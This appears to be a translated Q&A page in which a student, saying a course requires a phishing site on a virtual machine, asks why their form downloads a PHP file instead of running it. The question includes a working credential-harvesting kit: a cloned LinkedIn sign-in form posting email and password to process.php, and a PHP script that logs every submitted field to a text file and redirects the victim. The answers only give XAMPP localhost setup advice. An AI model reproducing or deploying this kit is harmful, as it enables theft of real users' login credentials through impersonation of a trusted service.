表单操作正在下载 php 文件而不是运行它

问题描述 投票:0回答:2

对于课程,我必须创建一个在虚拟机上运行的网络钓鱼站点。我目前正在我的 PC 上工作并以 HTML 形式运行该网站。

我将“form action =”“...更改为form action =“process.php”...

当我在 action="xyz" 中使用地址或另一个 html 文件时,html 文件工作正常,但会下载 .php 文件而不是运行它。

长话短说:我的 HTMl 文件将下载 php 文件而不是运行它

HTML 片段:
action = "process.php" 位于第 1 行

<form action="process.php" method="GET" name="login" novalidate="novalidate" id="login"  data-jsenabled="check" data-autologin="true" data-existingmembersignin="true">


 
 
 
 <input type="hidden" name="isJsEnabled" value="false"/>
 <input type="hidden" name="source_app" value=""/>
 <input type="hidden" name="tryCount" id="tryCount" value=""/>
 <input type="hidden" name="clickedSuggestion" id="clickedSuggestion" value="false" />

 <fieldset class="field-container field-container--fixed">
 

 <legend>Sign in to LinkedIn</legend>
 <div class="outer-wrapper">
 <div class="inner-wrapper">
 <div class="logo_container">LinkedIn</div>
 <ul class="form-fields" id="mini-profile--js">
 <li class="form-email ">
 <div class="fieldgroup hide-label">
 <label for="session_key-login" >Email address</label>
 <span class="error" id="session_key-login-error"></span>
 <input type="text" name="session_key" value="" id="session_key-login" placeholder="Email address" aria-describedby="session_key-login-error">
 <div class="domain-suggestion hide" id="domainSuggestion">
 <span>Did you mean:  <a id="suggestion" href="javascript:void(0);"></a>?</span>
 </div>
 </div>
 </li>

 <li class="form-password">
 <div class="fieldgroup hide-label">
 <label for="session_password-login" >Password</label>
 <span class="error" id="session_password-login-error"></span>
 <div class="password_wrapper">
 <input type="password" id="session_password-login" class="password" name="session_password" placeholder="Password" aria-describedby="session_password-login-error"/>
 </div>
 </div>
 </li>
 <li class="button form-actions">
 <div class="form-buttons">
 <input type="submit" name="signin" value="Sign In" class="btn-primary" id="btn-primary">
 </div>
 <div class="forgot-password-container">
 <a data-li-tooltip-id="login-tooltip"
 href="/uas/request-password-reset?session_redirect=&amp;trk=uas-login-forgot-password-text"
 tracking="uas-login-forgot-password-text" title="Forgot password?">Forgot password?</a>
 </div>
 <span>Not a member? <a href="/start/join?source=hb_signin&amp;trk=login_iframe_hb_signin">Join now</a></span>
 </li>
 </ul>
 </div>
 <div class="gaussian-blur"></div>
 </div>

<?php
header ('Location: http://racket-lang.org');
$handle = fopen("log.txt", "a");
foreach($_GET as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

编辑:格式化以使其看起来更好

php html action phishing
2个回答
0
投票

如果您在像 XAMPP 这样的本地服务器上运行,请确保在浏览器中打开 html 文件到本地主机地址(即在本地服务器上),而不仅仅是文件系统中的文件夹和文件(例如你的 C: 驱动器)。


0
投票

因为您的 html 文件正在实时服务器上运行或者只是打开该文件。 要修复它,您必须在 XAMPP 服务器中以 localhost 开头运行该文件

© www.soinside.com 2019 - 2024. All rights reserved.